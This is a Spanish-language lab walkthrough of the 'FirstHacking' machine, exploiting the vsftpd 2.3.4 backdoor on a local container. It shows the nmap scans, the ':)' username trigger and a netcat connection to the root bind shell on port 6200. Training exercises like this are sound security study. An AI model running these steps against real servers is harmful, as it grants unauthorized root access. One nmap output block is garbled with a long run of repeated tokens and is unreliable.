Maquina FirtsHacking

Escaneo inicial

Iniciamos con un escaneo agresivo de todos los puertos del objetivo:

```
-(zikuta@zikuta)-[~/Downloads/firsthacking]

L$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 19:43 CDT

Nmap scan report for 172.17.0.2

Host is up (0.000010s latency).

Not shown: 65534 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

MAC Address: 02:42:AC:11:00:02 (Unknown)

Service Info: OS: Unix
```

Resultado:

```
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
```

Observamos que el puerto 21 está abierto corriendo vsftpd 2.3.4, una versión conocida por haber sido comprometida con una backdoor en versiones no oficiales.

Análisis de la vulnerabilidad

La versión vsftpd 2.3.4 fue alterada maliciosamente en 2011, añadiendo una puerta trasera que se activa cuando se intenta iniciar sesión con un nombre de usuario que contiene la cadena :).

Este comportamiento no es parte del FTP original; fue insertado de forma oculta por un atacante en una versión falsa del servidor FTP. Al recibir este "trigger", el demonio vsftpd abre una **shell bind como root en el puerto 6200**.

Activación de la backdoor

Nos conectamos al servicio FTP e intentamos autenticarnos usando el trigger :):

```
zikuta®zikuta)-[~/Downloads/firsthacking]

—$ ftp 172.17.0.2 21
```

```
Connected to 172.17.0.2.

220 (vsFTPd 2.3.4)

Name (172.17.0.2:zikuta): hola:)

331 Please specify the password.

Password:
```

Aunque el login falla, el trigger :) **activa la backdoor**. Hacemos un nuevo escaneo:

```
___(zikuta@zikuta)-[~/Downloads/firsthacking]
 └─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 172.17.0.2
Starting Nmap 7.95 (https://nmap.org) at 2025-07-08 19:32 CDT
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65533 closed tcp ports (reset)
                              STATE SERVICE VERSION
PORT
21/tcp open ftp vsftpd 2.3.4
6200/tcp open lm-x?
 fingerprint-strings:
 GenericLines:
                    sh: 1:
                 found
                  found
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6200-TCP: V=7.95%I=7%D=7/8%Time=686DB89E%P=x86_64-pc-linux-qnu%r(Gen
SF:ericLines, 28, "sh:\x201:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20found\nsh:\x200\r:\x20not\x20not\x20found\nsh:\x200\r:\x20not\x20not\x20found\nsh:\x200\r:\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20not\x20no
SF:\x20found\n");
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Nuevo resultado:

```
6200/tcp open lm-x?
```

El puerto 6200 ahora aparece abierto: esto confirma que el trigger funcionó y que la shell está activa.

Explotación - Acceso como root

Nos conectamos directamente con nc:

```
zikuta@zikuta)-[~/Downloads/firsthacking]

_$ nc 172.17.0.2 6200

whoami
root
```

Conclusión

Se ha explotado una **backdoor en la versión maliciosa de vsftpd 2.3.4**, activada mediante el trigger :) al intentar iniciar sesión por FTP. Esto nos dio una **shell directa como root a través del puerto 6200**, permitiendo control total sobre el sistema.

Táctica	Técnica
Initial Access	T1133 - External Remote Services
Execution	T1059 - Command and Scripting Interpreter
Privilege Escalation	T1068 - Exploitation for Privilege Escalation
Command and Control	T1071.001 - Application Layer Protocol: Web Protocols
Persistence (temporal)	Puerto bind shell abierto mientras no se reinicie el servicio